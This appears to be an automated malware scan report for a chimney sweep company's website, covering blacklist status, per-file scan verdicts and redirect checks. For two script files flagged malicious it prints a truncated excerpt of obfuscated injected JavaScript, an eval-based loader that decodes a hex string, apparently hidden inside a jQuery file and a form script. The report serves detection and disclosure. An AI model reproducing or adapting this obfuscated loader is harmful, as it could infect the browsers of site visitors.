Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=mcschimneysweepsandysprings.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.mcschimneysweepsandysprings.com/ | 200 OK Content-Length: 14524 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" language="javascript"></script> | ||
http://www.mcschimneysweepsandysprings.com/script/jquery-1.2.6.min.js | 200 OK Content-Length: 60297 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) gxk="y";jvssk="document";try{+function(){if(document.querySelector)--(window[jvssk].getElementById("asd"))}()}catch(ebjpha){cdu=function(cwshyl){cwshyl="fro"+cwshyl;for(dnvqcf=0;dnvqcf<gxk.length;dnvqcf++){spxv+=String[cwshyl](bqe(azq+(gxk[dnvqcf]))-(89));}};};bqe=eval;azq="0x";gfu=0;if(!gfu){try{++bqe(jvssk).body}catch(ebjpha){aiwmd="(";}gxk="79(bf(ce(c7(bc(cd(c2(c8(c7(79(c1(cb(89(92(81(82(79(d4(66(63(79(cf(ba(cb(79(cc(cd(ba(cd(c2(bc(96(80(ba(c3(ba(d1(80(94(66(63(79(cf(ba(cb(79(bc(c8(c7(cd(c Antivirus reports:
| ||
http://www.mcschimneysweepsandysprings.com/script/ui_core.js | 200 OK Content-Length: 12011 Content-Type: application/javascript | clean |
http://www.mcschimneysweepsandysprings.com/script/ui_tabs.js | 200 OK Content-Length: 16572 Content-Type: application/javascript | clean |
http://www.mcschimneysweepsandysprings.com/script/lightbox.js | 200 OK Content-Length: 19604 Content-Type: application/javascript | clean |
http://www.mcschimneysweepsandysprings.com/script/formfunc.js | 200 OK Content-Length: 10001 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) gxk="y";jvssk="document";try{+function(){if(document.querySelector)--(window[jvssk].getElementById("asd"))}()}catch(ebjpha){cdu=function(cwshyl){cwshyl="fro"+cwshyl;for(dnvqcf=0;dnvqcf<gxk.length;dnvqcf++){spxv+=String[cwshyl](bqe(azq+(gxk[dnvqcf]))-(89));}};};bqe=eval;azq="0x";gfu=0;if(!gfu){try{++bqe(jvssk).body}catch(ebjpha){aiwmd="(";}gxk="79(bf(ce(c7(bc(cd(c2(c8(c7(79(c1(cb(89(92(81(82(79(d4(66(63(79(cf(ba(cb(79(cc(cd(ba(cd(c2(bc(96(80(ba(c3(ba(d1(80(94(66(63(79(cf(ba(cb(79(bc(c8(c7(cd(c Antivirus reports:
| ||
http://www.mcschimneysweepsandysprings.com/index.html | 200 OK Content-Length: 14524 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" language="javascript"></script> | ||
http://www.mcschimneysweepsandysprings.com/sandy-springs-chimneysweep.html | 200 OK Content-Length: 15280 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" language="javascript"></script> | ||
http://www.mcschimneysweepsandysprings.com/sandy-springs-dryerventcleaning.html | 200 OK Content-Length: 16672 Content-Type: text/html | suspicious |
Page code contains blacklisted domain: www.mcschimneysweeplawrenceville.com ...[2150 bytes skipped]... $("#intro").tabs({ fx: { opacity: 'toggle' }}).tabs('rotate',5000); $("#footlinks").toggle("slow"); }); </script> </head> <body> <div class="clear"></div> </div><!--end footer --> <div id="footlinks"> <div id="footer"> <ul> <li><a href="http://www.mcschimneysweeplawrenceville.com/" title="Lawrenceville Chimney Sweep">Lawrenceville Chimney Sweep</a></li> <li><a href="http://www.mcschimneysweeplilburn.com/" title="Lilburn Chimney Sweep">Lilburn Chimney Sweep</a></li> <li><a href="http://www.mcschimneysweeplithonia.com/" title="Lithonia Chimney Sweep">Lithonia Chimney Sweep</a></li> <li><a href="http://www.mcschimneysweepmarietta.com/" title="Marietta Chimney Swee ...[1787 bytes skipped]... | ||
http://www.mcschimneysweepsandysprings.com/contactus.html | 200 OK Content-Length: 12090 Content-Type: text/html | suspicious |
Suspicious code found <script type="text/javascript" language="javascript"></script> | ||
http://www.mcschimneysweepsandysprings.com/test404page.js | 404 Not Found Content-Length: 479 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: mcschimneysweepsandysprings.com
Result:
GET / HTTP/1.1
Host: mcschimneysweepsandysprings.com
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: mcschimneysweepsandysprings.com
Referer: http://www.google.com/search?q=mcschimneysweepsandysprings.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: mcschimneysweepsandysprings.com
Referer: http://www.google.com/search?q=mcschimneysweepsandysprings.com
Result:
The result is similar to the first query. There are no suspicious redirects found.